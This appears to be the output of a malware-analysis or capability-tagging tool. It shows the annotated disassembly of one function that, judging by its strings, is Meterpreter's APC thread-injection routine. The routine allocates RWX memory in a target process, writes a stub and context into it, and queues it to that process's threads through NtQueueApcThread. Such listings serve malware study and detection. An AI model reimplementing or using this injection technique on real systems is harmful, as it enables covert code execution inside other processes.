Function at 0x18000358c
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov dword [rax + 0x20], r9d
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
xor eax, eax
xor esi, esi
mov rdi, r8
and dword [rbp - 0x28], esi
and qword [rbp - 0x40], rax
mov r12, rdx
mov qword [rbp - 0x24], rax
mov qword [rbp - 0x1c], rax
mov qword [rbp - 0x14], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
mov r13, rcx
mov ebx, 5
xor r14d, r14d
call fcn.180006af4
mov r15, rax
test rax, rax
je 0x18000391c
cmp dword [rbp + 0x60], 1
mov rax, qword [rbp + 0x68]
mov byte [rbp - 0x30], sil
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x70]
mov dword [rbp - 0x28], 0x1c
mov qword [rbp - 0x38], rax
jne 0x180003630
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._INJECT__inject_via_apcthread:_Cant_do_x64__x86_APC_injection_yet.
jmp 0x180003889
cmp dword [rbp + 0x60], 2
jne 0x180003871
lea rcx, [0x180029764]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rbp - 0x48], rax
test rax, rax
jne 0x180003665
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._INJECT__inject_via_apcthread:_LoadLibraryA_failed
jmp 0x180003889
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x50], rax
test rax, rax
jne 0x180003690
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._INJECT__inject_via_apcthread:_GetProcAddress_NtQueueApcThread_failed
jmp 0x180003889
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
test rax, rax
jne 0x1800036b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._INJECT__inject_via_apcthread:_CreateToolhelp32Snapshot_failed
jmp 0x180003889
lea rdx, [rbp - 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
jne 0x1800036d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._INJECT__inject_via_apcthread:_Thread32First_failed
jmp 0x180003889
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x15c
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x180003727
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._INJECT__inject_via_apcthread:_VirtualAllocEx_failed
lea rcx, str._s._error_d__0x_x_
mov r9d, eax
mov r8d, eax
mov ebx, eax
call fcn.1800034dc
mov r13, qword [rbp + 0x40]
jmp 0x18000389d
lea r12, [rax + 0x144]
lea rdx, [0x180028fc4]
lea rcx, str._INJECT_____dwMeterpreterArch_s__lpRemoteApcStub0x_08X__lpRemoteApcContext0x_08X
mov r9, r12
mov r8, rax
call fcn.1800034dc
and qword [rsp + 0x20], 0
lea r8, [0x18003b490]
mov r9d, 0x144
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180003791
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._INJECT__inject_via_apcthread:_WriteProcessMemory_lpRemoteApcStub_failed
lea rcx, str._s._error_d__0x_x_
mov r8d, eax
mov r9d, eax
mov ebx, eax
call fcn.1800034dc
mov r12, qword [rbp + 0x48]
jmp 0x18000371e
and qword [rsp + 0x20], 0
lea r8, [rbp - 0x40]
mov r9d, 0x18
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1800037c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._INJECT__inject_via_apcthread:_WriteProcessMemory_lpRemoteApcContext_failed
jmp 0x180003777
mov r14, qword [rbp - 0x50]
mov eax, dword [rbp + 0x58]
cmp dword [rbp - 0x1c], eax
jne 0x180003854
mov r8d, dword [rbp - 0x20]
xor edx, edx
mov ecx, 0x1f03ff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180003854
mov edx, dword [rbp - 0x20]
lea rcx, str._INJECT__inject_via_apcthread:_Trying_to_inject_into_thread__d
call fcn.1800034dc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x18000384b
mov rdx, rdi
mov rcx, r15
call fcn.180006da8
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, r12
mov rdx, r13
mov rcx, rdi
call r14
mov edx, dword [rbp - 0x20]
test eax, eax
jne 0x18000383d
lea rcx, str._INJECT__inject_via_apcthread:_pNtQueueApcThread_for_thread__d_Succeeded.
call fcn.1800034dc
xor ebx, ebx
jmp 0x180003854
lea rcx, str._INJECT__inject_via_apcthread:_pNtQueueApcThread_for_thread__d_Failed.
call fcn.1800034dc
jmp 0x180003854
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x28]
mov rcx, rsi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1800037c4
mov r14, qword [rbp - 0x48]
jmp 0x18000378b
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._INJECT__inject_via_apcthread:_Invalid_target_architecture
lea rcx, str._s._error_d__0x_x_
mov r9d, eax
mov r8d, eax
mov ebx, eax
call fcn.1800034dc
test ebx, ebx
jne 0x1800038e8
test r13, r13
je 0x1800038e8
test r12, r12
je 0x1800038e8
lea r8d, [rbx + 2]
mov edx, 0x20196
mov rcx, r12
call fcn.1800051e4
mov r8, r12
mov rdx, r13
xor ecx, ecx
call fcn.180005878
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800038e8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.180006e34
mov rdi, rax
test rax, rax
jne 0x1800038d6
mov rcx, r15
call fcn.180006b44
test rsi, rsi
je 0x18000390e
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
je 0x18000391c
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
mov rbx, qword [rsp + 0xd0]
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret